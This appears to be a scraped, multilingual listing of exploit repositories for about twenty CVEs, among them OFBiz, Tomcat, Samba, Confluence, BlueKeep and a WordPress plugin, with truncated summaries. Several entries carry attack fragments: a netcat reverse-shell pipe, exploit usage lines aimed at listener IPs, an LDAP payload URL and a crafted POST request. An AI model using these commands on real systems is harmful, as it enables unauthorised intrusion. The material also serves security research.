CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz هو نظام مفتوح المصدر لتخطيط موارد المؤسسات. يوفر مجموعة من تطبيقات المؤسسات التي تدمج وتؤتمت العديد من العمليات التجارية للمؤسسة. CVE-2024-38856 هو ثغرة قبل المصادقة في Apache OFBiz يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. الإصدارات المتأثرة :...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow هي منصة للتحول في الأعمال تساعد الشركات على إدارة سير العمل الرقمية لعمليات المؤسسات. CVE-2024-4879 قد تسمح لمستخدم غير مصادق بتنفيذ تعليمات برمجية عن بُعد داخل منصة Now. تستغل هذه الثغرة ثلاث مشكلات عبر ربطها معًا: حقن العنوان، وتجاوز تخفيف حقن القوالب، وتجاوز...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 أداة استغلال رسومية لثغرة الكتابة العشوائية للملفات عبر طريقة PUT في Tomcat CVE-2017-12615 مقدمة عن الثغرة في 19 سبتمبر 2017، أكد فريق Apache Tomcat رسميًا وأصلح ثغرتين عاليتي الخطورة، بأرقام CVE: CVE-2017-12615 وCVE-2017-12616، ومن بينهما ثغرة تنفيذ التعليمات البرمجية عن بُعد...

CVE-2017-9791

CVE-2017-9791 وحدة Metasploit لثغرة Apache Struts CVE-2017-9791 لتنفيذ الأكواد عن بُعد...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Ce dépôt contient mon code d'exploitation pour la vulnérabilité RCE dans Adobe ColdFusion 2018. Description de l'exploit L'exploit envoie une requête POST contenant un reverse shell JSP vers /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f उपयोग root@kitploit: लक्ष्य 10.129.232.46 को पोर्ट 445 पर एक्सप्लॉइट करें, 10.10.14.82 को पोर्ट 443 पर रिवर्स शेल वापस भेजें python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 कस्टम rport और lport के साथ python3...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE परियोजना परिचय और सिद्धांत दुनिया का पहला PHP डिफ़ॉल्ट वातावरण XAMPP का उपयोग करने वाला CVE-2024-4577 PHP-CGI RCE शोषण EXP. दुनिया का पहला CVE-2024-4577 PHP-CGI RCE शोषण जो डिफ़ॉल्ट PHP वातावरण का उपयोग करता है. मूल शोषण साझा करना, SSRF का समर्थन करता है, WAF बाईपास का समर्थ...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 स्थापना root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce उपयोग यह उपकरण pocsuite3 फ्रेमवर्क के विकास विनिर्देशों के अनुसार लिखा गया एक poc है। उपयोग करने से पहले कृपया pocsuite3 डाउनलोड करें। प्रोजेक्ट पता root@kitploit:...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 रिमोट कोड निष्पादन...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 जानकारी इस रिपॉज़िटरी में फर्मवेयर CH7465LG-NCIP-6.12.18.24-5p8-NOSH या उससे पुराने संस्करण पर चलने वाले Connect Box CH7465LG के लिए दो PoC शामिल हैं। अधिक जानकारी के लिए मेरा ब्लॉग देखें। उपयोग अप्रमाणित रिमोट कोड निष्पादन $ python3 poc-rce.py अप्रमाणित सूचना...

CVE-2025-24813

विवरण यह रिपॉजिटरी CVE-2025-24813 Tomcat नवीनतम RCE के पुनरुत्पादन के लिए वातावरण है। केवल सीखने और अनुसंधान के लिए उपयोग करें! उपयोग की शर्तें एप्लिकेशन ने DefaultServlet लेखन सुविधा सक्षम की है, जो डिफ़ॉल्ट रूप से बंद है एप्लिकेशन partial PUT अनुरोध का समर्थन करता है, जो दुर्भावनापूर्ण...

CVE-2019-3396

CVE-2019-3396 Traversée de chemin du Widget Connector Confluence CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea रिपॉजिटरी माइग्रेशन रिमोट कमांड निष्पादन शोषण। उपयोग कैसे करें 1. इस रिपॉजिटरी में फाइलों के साथ एक HTTP फाइलसिस्टम सर्वर चलाएं। 2. api/v1/repos/e99/exp/pulls/1/index.html L96 में निष्पादित किए जाने वाले कमांड को संपादित करें। 3. Gitea इंस्टेंस पर URL http:///e99/exp के साथ...

spring-framework-rce

spring-framework-rce CVE-2022-22965 المتطلبات البيئية 1. tomcat8 8 طريقة الاستخدام 1. حمّل springframeworkrce-0.0.1-SNAPSHOT.zip وبعد فك الضغط، غيّر الاسم إلى ROOT.war. 2. استبدل مجلد ROOT أو ملف ROOT.war الموجود في مجلد webapps داخل tomcat. 3. انتقل إلى مسار bin داخل tomcat، ثم نفّذ .\catalina.b...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 استغلال أولي لـ CVE-2019-0708، BlueKeep CVE-2019-0708 BlueKeep RDP: استخدام بعد التحرير عن بُعد في نواة ويندوز يعالج برنامج التشغيل termdd.sys في RDP الارتباطات بالقناة الداخلية MST120 بشكل غير صحيح، مما يسمح لرسالة Disconnect Provider Indication غير صالحة بالتسبب في استخدام بعد...

CVE-2026-14982 WP File Download <= 6.3.4 - Authenticated (Subscriber+) Arbitrary File Deletion via 'remoteurl' Parameter

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2024-47176

CUPS Browsd डेमॉन, जो डिफ़ॉल्ट रूप से Linux/Unix सिस्टम में रूट के रूप में चलता है यदि अनुमति हो, नेटवर्क पर किसी भी डिवाइस से नया प्रिंटर बनाने के लिए रिमोट कनेक्शन की अनुमति देता है। पायथन पोस्ट सर्वर शुरू करें और फिर प्रिंटर जोड़ने का अनुरोध भेजें, आप अपने HTTP सर्वर से रूट के रूप में प्रिंटर...